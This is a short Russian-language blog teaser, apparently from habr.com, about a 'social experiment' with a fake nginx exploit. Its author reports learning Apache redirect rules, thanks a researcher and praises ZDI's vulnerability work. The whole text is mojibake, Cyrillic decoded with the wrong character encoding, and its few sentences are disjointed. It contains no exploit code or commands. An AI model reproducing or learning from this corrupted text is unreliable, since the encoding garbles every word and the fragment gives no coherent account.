УспСх ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экспСримСнта с ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ эксплойтом для nginx
НСбольшая Ρ‡Π°ΡΡ‚ΡŒ Π°Π½Ρ‚ΠΈΠΌΠ΅Ρ€

Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΠΎΠ΅ΠΉ СдинствСнной Ρ†Π΅Π»ΡŒΡŽ Π±Ρ‹Π»ΠΎ освоСниС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… возмоТностСй Apache β€” Π² частности, ΠΊΠ»Π΅Π²Ρ‹Ρ… ΠΏΡ€Π°Π²ΠΈΠ» пСрСнаправлСния запросов, β€” ΠΈ я ΠΏΠΎΠ΄ΡƒΠΌΠ°Π»: Π° ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π±Ρ‹ ΠΈ Π½Π΅Ρ‚?

Эксплойт NGINX (настоящий!)

ΠŸΠΎΠ΄ΠΏΠΈΡΡ‹Π²Π°ΠΉΡ‚Π΅ΡΡŒ Π½Π° @alisaesage Π² Π’Π²ΠΈΡ‚Ρ‚Π΅Ρ€Π΅ ΠΈ слСдитС Π·Π° Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ ZDI ΠΏΠΎ ΡƒΡΡ‚Ρ€Π°Π½Π΅Π½ΠΈΡŽ Π²ΠΏΠΎΠ»Π½Π΅ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… уязвимостСй ΠΈ возмоТностСй для эксплойтов Π² NGINX. Π˜Ρ… Ρ€Π°Π±ΠΎΡ‚Π° всСгда Π·Π°Π²ΠΎΡ€Π°ΠΆΠΈΠ²Π°Π»Π° мСня ΠΈ я Π±Π»Π°Π³ΠΎΠ΄Π°Ρ€Π΅Π½ АлисС Π·Π° Ρ‚Π΅Ρ€ΠΏΠ΅Π½ΠΈΠ΅, связанноС со всСми упоминаниями ΠΈ увСдомлСниями, Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΌΠΎΠΈΠΌ Π΄ΡƒΡ€Π°Ρ†ΠΊΠΈΠΌ Ρ‚Π²ΠΈΡ‚ΠΎΠΌ. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, ΠΎΠ½ принСс ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·Ρƒ: ΠΏΠΎΠΌΠΎΠ³ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΠΎΡΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΎΠ± уязвимостях NGINX, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ…, Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ΠΌ curl’ΠΎΠΌ.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com